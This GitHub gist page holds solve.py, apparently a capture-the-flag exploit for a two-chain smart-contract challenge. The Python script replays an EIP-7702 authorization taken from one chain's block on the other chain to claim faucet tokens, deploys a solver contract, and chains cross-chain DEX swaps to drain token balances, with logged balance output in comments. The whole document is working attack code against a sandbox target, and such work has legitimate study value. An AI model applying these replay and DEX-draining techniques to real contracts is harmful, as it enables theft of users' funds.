Skip to content

Instantly share code, notes, and snippets.

@kangsangsoo
Last active July 11, 2025 15:46
Show Gist options
  • Select an option

  • Save kangsangsoo/43782c347e0a39b393e13013b55dc9cd to your computer and use it in GitHub Desktop.

Select an option

Save kangsangsoo/43782c347e0a39b393e13013b55dc9cd to your computer and use it in GitHub Desktop.
solve.py
from web3 import Web3
from pwn import *
import json
# r = remote("127.0.0.1", 1337)
r = remote("16.184.13.125", 1337)
r.recvuntil("action?")
r.sendline("1")
print(r.recvuntil("YOUR_INPUT ="))
answer = input()
r.sendline(answer)
r.recvuntil("uuid: ")
uuid = r.recvline()[:-1]
r.recvuntil("CODE chain endpoint: ")
code_endpoint= r.recvline()[:-1].decode()
r.recvuntil("GATE chain endpoint: ")
gate_endpoint= r.recvline()[:-1].decode()
r.recvuntil("CODE chain private key: ")
code_key = r.recvline()[:-1].decode()
r.recvuntil("CODE chain address: ")
code_address = r.recvline()[:-1].decode()
r.recvuntil("GATE chain private key: ")
gate_key = r.recvline()[:-1].decode()
r.recvuntil("GATE chain address: ")
gate_address = r.recvline()[:-1].decode()
r.recvuntil("CODE chain setup address: ")
code_setup = r.recvline()[:-1].decode()
r.recvuntil("GATE chain setup address: ")
gate_setup = r.recvline()[:-1].decode()
code_chain_id = 10
gate_chain_id = 100
w3_code = Web3(Web3.HTTPProvider(code_endpoint))
w3_gate = Web3(Web3.HTTPProvider(gate_endpoint))
#Check Connection
t=w3_code.is_connected()
print(t)
t=w3_gate.is_connected()
print(t)
# cast send --rpc-url http://localhost:8545/e28f9589-df54-4252-9188-e70e05f9592f 0x9F4f8B01b61C974cAF992c887F68B7B14f060f63 --value 0.1ether --private-key 0x8ccfe20e01d21d9bbf79c0a6447e8198ec231697b9119563f8a3a513b9c059d7
import subprocess
cmd = [
"cast", "send",
"--rpc-url", code_endpoint,
gate_address,
"--value", "1ether",
"--private-key", code_key
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
print("stdout:", result.stdout)
print("stderr:", result.stderr)
except subprocess.CalledProcessError as e:
print("Error:", e.stderr)
f = open("setup.abi", "r"); contract_abi= f.read(); f.close()
code_setup_contract = w3_code.eth.contract(address=code_setup,abi=contract_abi)
gate_setup_contract = w3_gate.eth.contract(address=gate_setup,abi=contract_abi)
token_A_addr = gate_setup_contract.functions.tokenA().call()
token_B_addr = gate_setup_contract.functions.tokenB().call()
token_C_addr = gate_setup_contract.functions.tokenC().call()
faucetLogic_addr = gate_setup_contract.functions.faucetLogic().call()
dex_addr = gate_setup_contract.functions.dex().call()
faucet_addr = gate_setup_contract.functions.faucet().call()
f = open("faucet.abi", "r"); contract_abi= f.read(); f.close()
gate_faucetLogic = w3_gate.eth.contract(address=faucetLogic_addr,abi=contract_abi)
gate_faucetLogic_poc = w3_gate.eth.contract(address=faucet_addr,abi=contract_abi)
code_faucetLogic = w3_code.eth.contract(address=faucetLogic_addr,abi=contract_abi)
code_faucetLogic_poc = w3_code.eth.contract(address=faucet_addr,abi=contract_abi)
f = open("token.abi", "r"); contract_abi= f.read(); f.close()
code_token_A = w3_code.eth.contract(address=token_A_addr,abi=contract_abi)
code_token_B = w3_code.eth.contract(address=token_B_addr,abi=contract_abi)
code_token_C = w3_code.eth.contract(address=token_C_addr,abi=contract_abi)
gate_token_A = w3_gate.eth.contract(address=token_A_addr,abi=contract_abi)
gate_token_B = w3_gate.eth.contract(address=token_B_addr,abi=contract_abi)
gate_token_C = w3_gate.eth.contract(address=token_C_addr,abi=contract_abi)
f = open("dex.abi", "r"); contract_abi= f.read(); f.close()
code_dex = w3_code.eth.contract(address=dex_addr,abi=contract_abi)
gate_dex = w3_gate.eth.contract(address=dex_addr,abi=contract_abi)
# func_call = gate_faucetLogic.functions["getToken"]().build_transaction({
# "from": gate_address,
# "nonce": w3_gate.eth.get_transaction_count(gate_address),
# "gasPrice": w3_gate.eth.gas_price,
# "value": 0,
# "chainId": w3_gate.eth.chain_id
# })
# signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
# result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
# transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
# print(transaction_receipt)
# print(gate_token_A.functions.balanceOf(code_setup).call())
# exit(0)
# gate_setup_contract.functions.getToken().transact()
# gate_faucetLogic.functions.claimToken(token_A_addr).transact()
print(gate_token_A.functions.balanceOf(gate_setup).call())
print(gate_token_A.functions.balanceOf(faucetLogic_addr).call())
print(gate_token_A.functions.balanceOf(faucet_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(code_token_A.functions.balanceOf(gate_setup).call())
print(code_token_A.functions.balanceOf(faucetLogic_addr).call())
print(code_token_A.functions.balanceOf(faucet_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
# exit(0)
# from web3 import Web3
block_num = 2
block = w3_code.eth.get_block(block_num, full_transactions=True)
print(f"block {block.number} 에 포함된 tx 개수:", len(block.transactions))
for tx in block.transactions: # 여기서 tx 는 AttributeDict 하나
if "authorizationList" in tx: # AUTH 트랜잭션만 골라내기
auth_list = tx["authorizationList"] # 배열! 보통 길이 1
print("tx hash :", tx.hash.hex())
print("authorizationList :", auth_list)
for i in auth_list:
auth = i
auth = dict(auth)
auth['s'] = "0x" + (auth['s']).hex()
auth['r'] = "0x" + (auth['r']).hex()
print(dict(i))
from eth_abi.codec import ABICodec
from eth_abi.registry import registry
codec = ABICodec(registry)
encoded_args = codec.encode(['address'], [token_C_addr])
encoded_args = "0x32f289cf" + encoded_args.hex()
print("encoded_args", encoded_args)
# func_call = gate_faucetLogic.functions["claimToken"](token_A_addr).build_transaction({
func_call = {
"to": faucet_addr,
"data": encoded_args,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gas": 1000000,
"value": 0,
"chainId": w3_gate.eth.chain_id,
"maxFeePerGas": 10000000000,
"maxPriorityFeePerGas": 0,
}
func_call["authorizationList"] = [dict(auth)]
print(func_call)
from eth_account import Account
Account.enable_unaudited_hdwallet_features() # 꼭 필요!
from eth_account.signers.local import LocalAccount
gate_temp: LocalAccount = Account.from_key(gate_key)
signed_tx = gate_temp.sign_transaction(func_call)
print(signed_tx)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(gate_token_C.functions.balanceOf(gate_setup).call())
print(gate_token_C.functions.balanceOf(gate_address).call())
print(gate_token_C.functions.balanceOf(faucet_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
encoded_args = codec.encode(['address'], [token_B_addr])
encoded_args = "0x32f289cf" + encoded_args.hex()
func_call = {
"to": faucet_addr,
"data": encoded_args,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gas": 1000000,
"value": 0,
"chainId": w3_gate.eth.chain_id,
"maxFeePerGas": 10000000000,
"maxPriorityFeePerGas": 0,
}
# func_call["authorizationList"] = [dict(auth)]
print(func_call)
from eth_account import Account
Account.enable_unaudited_hdwallet_features() # 꼭 필요!
from eth_account.signers.local import LocalAccount
gate_temp: LocalAccount = Account.from_key(gate_key)
signed_tx = gate_temp.sign_transaction(func_call)
print(signed_tx)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(gate_token_B.functions.balanceOf(gate_setup).call())
print(gate_token_B.functions.balanceOf(gate_address).call())
print(gate_token_B.functions.balanceOf(faucet_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
encoded_args = codec.encode(['address'], [token_A_addr])
encoded_args = "0x32f289cf" + encoded_args.hex()
func_call = {
"to": faucet_addr,
"data": encoded_args,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gas": 1000000,
"value": 0,
"chainId": w3_gate.eth.chain_id,
"maxFeePerGas": 10000000000,
"maxPriorityFeePerGas": 0,
}
# func_call["authorizationList"] = [dict(auth)]
print(func_call)
from eth_account import Account
Account.enable_unaudited_hdwallet_features() # 꼭 필요!
from eth_account.signers.local import LocalAccount
gate_temp: LocalAccount = Account.from_key(gate_key)
signed_tx = gate_temp.sign_transaction(func_call)
print(signed_tx)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
print(gate_token_A.functions.balanceOf(gate_setup).call())
print(gate_token_A.functions.balanceOf(gate_address).call())
print(gate_token_A.functions.balanceOf(faucet_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_A.functions.balanceOf(gate_address).call())
print(gate_token_B.functions.balanceOf(gate_address).call())
print(gate_token_C.functions.balanceOf(gate_address).call())
func_call = gate_token_A.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
func_call = gate_token_B.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
func_call = gate_token_C.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
func_call = code_token_A.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": code_address,
"nonce": w3_code.eth.get_transaction_count(code_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, code_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
func_call = code_token_B.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": code_address,
"nonce": w3_code.eth.get_transaction_count(code_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, code_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
func_call = code_token_C.functions["approve"](dex_addr, 10**(18+5)).build_transaction({
"from": code_address,
"nonce": w3_code.eth.get_transaction_count(code_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, code_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
f = open("solve.abi", "r"); contract_abi= f.read(); f.close()
f = open("solve.bin", "r"); contract_bin= f.read(); f.close()
solve_contract = w3_code.eth.contract(abi=contract_abi,bytecode=contract_bin)
# constructor(address _setup, address _dex, address _gate_address, address _token0, address _token1, address _token2) {
#
# 배포 트랜잭션 만들기
tx = solve_contract.constructor(code_setup, dex_addr, gate_address, token_A_addr, token_B_addr, token_C_addr).build_transaction({
"chainId": w3_code.eth.chain_id,
"gasPrice": w3_code.eth.gas_price,
"from": code_address,
"nonce": w3_code.eth.get_transaction_count(code_address),
"value": 0,
})
signed_tx = w3_code.eth.account.sign_transaction(tx, code_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
solve_addr = transaction_receipt.contractAddress
print(solve_addr)
t0 = bytes.fromhex("d6aca1be9729c13d677335161321649cccae6a591554772516700f986f942eaa")
t1 = bytes.fromhex("7859bf71b4012234a80922500ed346c64ebe8b98ab708f8f2a08d53562dc34e8")
t2 = bytes.fromhex("61adce40b4cedfacad97af8fe7f2ab44310958add199dc8ea8dc518c984ccc98")
# function swap(address receiver, bytes32 srcToken, bytes32 dstToken, uint256 amount, bool isCrosschain) external payable {
func_call = gate_dex.functions["swap"](gate_address, t0, t0, 100 * (10**18), True).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
func_call = gate_dex.functions["swap"](gate_address, t1, t1, 100 * (10**18), True).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
func_call = gate_dex.functions["swap"](gate_address, t2, t2, 99 * (10**18), True).build_transaction({
"from": gate_address,
"nonce": w3_gate.eth.get_transaction_count(gate_address),
"gasPrice": w3_gate.eth.gas_price,
"value": 0,
"chainId": w3_gate.eth.chain_id
})
signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
while code_token_B.functions.balanceOf(gate_address).call() != 100 * (10**18):
True
# 현황 체크
print()
print(gate_token_A.functions.balanceOf(gate_address).call())
print(gate_token_B.functions.balanceOf(gate_address).call())
print(gate_token_C.functions.balanceOf(gate_address).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(gate_address).call())
print(code_token_B.functions.balanceOf(gate_address).call())
print(code_token_C.functions.balanceOf(gate_address).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
func_call = code_token_A.functions["transfer"](solve_addr, 99 * (10**18)).build_transaction({
"from": gate_address,
"nonce": w3_code.eth.get_transaction_count(gate_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
func_call = code_token_B.functions["transfer"](solve_addr, 99 * (10**18)).build_transaction({
"from": gate_address,
"nonce": w3_code.eth.get_transaction_count(gate_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
func_call = code_token_C.functions["transfer"](solve_addr, 98 * (10**18)).build_transaction({
"from": gate_address,
"nonce": w3_code.eth.get_transaction_count(gate_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
# transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
# cross 둘 다 보내서 동기화 시간 일치하게 맞출려고 함
# t2에 남아있음
# func_call = gate_dex.functions["swap"](gate_address, t2, t2, 10 ** 17, True).build_transaction({
# "from": gate_address,
# "nonce": w3_gate.eth.get_transaction_count(gate_address),
# "gasPrice": w3_gate.eth.gas_price,
# "value": 0,
# "chainId": w3_gate.eth.chain_id
# })
# signed_tx = w3_gate.eth.account.sign_transaction(func_call, gate_key)
# result = w3_gate.eth.send_raw_transaction(signed_tx.raw_transaction)
# transaction_receipt = w3_gate.eth.wait_for_transaction_receipt(result)
func_call = code_dex.functions["swap"](gate_address, t2, t2, 10 ** 16, True).build_transaction({
"from": gate_address,
"nonce": w3_code.eth.get_transaction_count(gate_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
sleep(4)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
temp_nonce = w3_code.eth.get_transaction_count(gate_address)
func_call = solve_contract.functions["solve1"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": temp_nonce,
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
# transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
sleep(7)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
temp_nonce = w3_code.eth.get_transaction_count(gate_address)
func_call = solve_contract.functions["solve11"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": temp_nonce,
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
sleep(7)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
temp_nonce = w3_code.eth.get_transaction_count(gate_address)
func_call = solve_contract.functions["solve111"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": temp_nonce,
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
sleep(7)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
'''
solve1 결과
0
0
0
700000000000000000000
700000000000000000000
2508756205125000000
3808100000000000000
99000000000000000000
1295491243794875000000
595191900000000000000
500000000000000000000
0
solve11 결과
0
0
0
700000000000000000000
6547500000000000000
2508756205125000000
3808100000000000000
1292452500000000000000
769175454321190789473
595191900000000000000
0
526315789473684210527
solve111 결과
0
0
0
0
6547500000000000000
2508756205125000000
1108441936321026249999
0
0
190558063678973750001
1292452500000000000000
1295491243794875000000
'''
temp_nonce = w3_code.eth.get_transaction_count(gate_address)
func_call = solve_contract.functions["solve2"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": temp_nonce,
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
sleep(7)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
'''
0
0
0
0
6547500000000000000
2508756205125000000
849951436321026249999
500001200000000000000000000
0
449048563678973750001
0
1295491243794875000000
'''
temp_nonce = w3_code.eth.get_transaction_count(gate_address)
func_call = solve_contract.functions["solve3"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": temp_nonce,
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
sleep(7)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
print(uuid)
exit(0)
'''
0
0
0
700000000000000000000
700000000000000000000
638862200656600000000
3808100000000000000
99000000000000000000
659137799343400000000
595191900000000000000
500000000000000000000
0
'''
# print(code_token_B.functions.balanceOf(solve_addr).call())
# g = w3_code.eth.gas_price
# c = w3_code.eth.chain_id
# for i in range(1, 300):
# func_call = {
# "data": "0xdc127d21",
# "from": gate_address,
# "to": solve_addr,
# "nonce": temp_nonce + i,
# "gasPrice": g,
# "gas": 200000,
# "value": 0,
# "chainId": c
# }
# signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
# result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
# sleep(2)
print()
print(gate_token_A.functions.balanceOf(solve_addr).call())
print(gate_token_B.functions.balanceOf(solve_addr).call())
print(gate_token_C.functions.balanceOf(solve_addr).call())
print(gate_token_A.functions.balanceOf(dex_addr).call())
print(gate_token_B.functions.balanceOf(dex_addr).call())
print(gate_token_C.functions.balanceOf(dex_addr).call())
print()
print(code_token_A.functions.balanceOf(solve_addr).call())
print(code_token_B.functions.balanceOf(solve_addr).call())
print(code_token_C.functions.balanceOf(solve_addr).call())
print(code_token_A.functions.balanceOf(dex_addr).call())
print(code_token_B.functions.balanceOf(dex_addr).call())
print(code_token_C.functions.balanceOf(dex_addr).call())
# print(code_setup.functions.isSolved().call())
print(code_token_A.functions.balanceOf(solve_addr).call())
func_call = solve_contract.functions["solve3"]().build_transaction({
"from": gate_address,
"to": solve_addr,
"nonce": w3_code.eth.get_transaction_count(gate_address),
"gasPrice": w3_code.eth.gas_price,
"value": 0,
"chainId": w3_code.eth.chain_id
})
signed_tx = w3_code.eth.account.sign_transaction(func_call, gate_key)
result = w3_code.eth.send_raw_transaction(signed_tx.raw_transaction)
transaction_receipt = w3_code.eth.wait_for_transaction_receipt(result)
print(uuid)
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment